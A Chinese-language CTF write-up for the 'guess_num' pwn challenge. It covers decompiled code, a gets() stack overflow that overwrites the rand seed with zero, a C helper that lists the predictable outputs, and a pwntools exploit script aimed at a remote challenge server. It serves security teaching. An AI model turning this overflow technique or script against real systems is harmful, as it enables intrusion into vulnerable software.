-
-
[原创]攻防世界PWN新手区:guess_num
-
2022-4-4 14:14 10604
-
一、基础信息探查:
常规流程:file、checksec和运行程序
64位elf文件,开了金丝雀,NX,PIE保护
二、逆向分析:
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | __int64 __fastcall main( int a1, char * * a2, char * * a3) { int v4; / / [rsp + 4h ] [rbp - 3Ch ] BYREF int i; / / [rsp + 8h ] [rbp - 38h ] int v6; / / [rsp + Ch] [rbp - 34h ] char v7[ 32 ]; / / [rsp + 10h ] [rbp - 30h ] BYREF unsigned int seed[ 2 ]; / / [rsp + 30h ] [rbp - 10h ] unsigned __int64 v9; / / [rsp + 38h ] [rbp - 8h ] v9 = __readfsqword( 0x28u ); setbuf(stdin, 0LL ); setbuf(stdout, 0LL ); setbuf(stderr, 0LL ); v4 = 0 ; v6 = 0 ; * (_QWORD * )seed = sub_BB0(); puts( "-------------------------------" ); puts( "Welcome to a guess number game!" ); puts( "-------------------------------" ); puts( "Please let me know your name!" ); printf( "Your name:" ); gets(v7); srand(seed[ 0 ]); for ( i = 0 ; i < = 9 ; + + i ) { v6 = rand() % 6 + 1 ; printf( "-------------Turn:%d-------------\n" , (unsigned int )(i + 1 )); printf( "Please input your guess number:" ); __isoc99_scanf( "%d" , &v4); puts( "---------------------------------" ); if ( v4 ! = v6 ) { puts( "GG!" ); exit( 1 ); } puts( "Success!" ); } sub_C3E(); return 0LL ; } |
分析主函数代码可以发现如果要返回success就需要输入正确的number(也就是v4变量),而v4变量有是rand函数生成的伪随机数,这是无法预测的除非能知道它的随机数种子,跟踪生成随机数的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 | __int64 sub_BB0() { int fd; / / [rsp + Ch] [rbp - 14h ] __int64 buf[ 2 ]; / / [rsp + 10h ] [rbp - 10h ] BYREF buf[ 1 ] = __readfsqword( 0x28u ); fd = open ( "/dev/urandom" , 0 ); if ( fd < 0 || ( int )read(fd, buf, 8uLL ) < 0 ) exit( 1 ); if ( fd > 0 ) close(fd); return buf[ 0 ]; } |
这个函数从头看到尾都没有看到哪里是可以注入的地方。这里其实是我的思路错了。因为回到主函数可以看到有一个危险函数gets,双击查看它的栈情况:
var_30处为v7的存放地址,seed就是随机数种子的存放地址。
注意到这里就好办了,v7和种子数在栈中是连在一起的,我们可以直接通过gets溢出,修改随机数种子的值,从而指定rand的生成值。
这里的种子数直接溢出为0,先写个c程序将随机数的种子为0时rand的生成情况:
1 2 3 4 5 6 7 8 9 10 11 12 | #include<stdio.h> #include<stdlib.h> int main() { int r; srand( 0 ); for ( int i = 0 ; i < = 9 ; + + i){ r = rand() % 6 + 1 ; printf( "%d " ,r); } return 0 ; } |
1 | 2 , 5 , 4 , 2 , 6 , 2 , 5 , 1 , 4 , 2 |
三、shellcode编写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * context(os = 'linux' ,arch = 'amd64' ,log_level = "debug" ) #arch的参数为:'x86'、'amd64' content = 0 def main(): if content = = 1 : sh = process( "guess_num" ) #打本地 else : sh = remote( "111.200.241.244" , 53920 ) #打远程 rand = [ 2 , 5 , 4 , 2 , 6 , 2 , 5 , 1 , 4 , 2 ] payload = b 'A' * 32 + p64( 0 ) # 直接将随机值设为0 sh.sendlineafter( "Your name:\n" ,payload) for i in range ( 10 ): sh.sendlineafter( "Please input your guess number:\n" ,rand[i]) sh.interactive() if __name__ = = '__main__' : main() |
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
谁下载
看原图